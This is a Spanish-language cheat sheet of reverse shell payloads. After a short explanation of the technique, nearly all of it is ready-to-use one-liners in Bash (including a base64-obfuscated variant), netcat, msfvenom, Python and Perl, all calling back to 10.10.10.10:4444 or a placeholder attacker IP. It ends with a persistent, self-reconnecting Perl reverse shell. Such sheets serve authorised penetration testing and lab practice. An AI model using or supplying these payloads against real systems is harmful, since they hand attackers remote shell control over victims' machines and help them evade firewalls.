Reverse Shells
Una reverse shell, también conocida como shell inversa, es una técnica utilizada en ciberseguridad para obtener control remoto sobre una computadora mediante una conexión que la propia computadora establece con otra (generalmente la del atacante o técnico). A diferencia de una conexión tradicional donde el cliente se conecta al servidor, en una reverse shell, la víctima inicia la conexión hacia el atacante, lo que permite al atacante enviar comandos y controlar la máquina de la víctima como si estuviera frente a ella. Esta técnica es especialmente útil para los atacantes que operan detrás de firewalls o NAT, ya que las conexiones salientes suelen estar permitidas, mientras que las entrantes pueden estar bloqueadas
Bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
bash -c 'bash -i >%26 /dev/tcp/10.10.10.10/4444 0>%261'
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDQ0IDA+JjE= | base64 -d | bash
NetCat
nc -e /bin/bash 10.10.10.10 4444
nc -e /bin/sh 10.10.10.10 4444
nc.exe -c cmd 10.10.10.10 4444 (windows)
nc -c bash 10.10.10.10 4444
nc.traditional -e /bin/sh 10.10.10.10 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f
msfvenom
msfvenom -p windows/x64/reverse_shell_tcp LHOST=IP_ATACANTE LPORT=PUERTO_ATACANTE -f exe -o shell.exe
msfvenom -p windows/x86/reverse_shell_tcp LHOST=IP_ATACANTE LPORT=PUERTO_ATACANTE -f exe -o shell.exe
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_ATACANTE -f war -o shell.war
msfvenom -p linux/x64/reverse_shell_tcp LHOST=IP_ATACANTE LPORT=PUERTO_ATACANTE -f externsio -o shell.extension
msfvenom -p linux/x86/reverse_shell_tcp LHOST=IP_ATACANTE LPORT=PUERTO_ATACANTE -f externsio -o shell.extension
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444))'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Requiere el módulo IO, muy común en instalaciones estándar de Perl.
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:4444");STDIN->fdopen($c,"r");STDOUT->fdopen($c,"w");STDERR->fdopen($c,"w");exec("/bin/sh -i");'
Reverse Shell persistente con reconexión - loop, ideal si esperas que la shell se mantenga intentando reconectar si falla la conexión.
#!/usr/bin/perl
use IO::Socket;
while(1){
my $sock = IO::Socket::INET->new(PeerAddr => '10.10.10.10', PeerPort => 4444, Proto => 'tcp');
if($sock){
open(STDIN, ">&$sock");
open(STDOUT, ">&$sock");
open(STDERR, ">&$sock");
exec("/bin/sh -i");
close($sock);
}
sleep 10;
}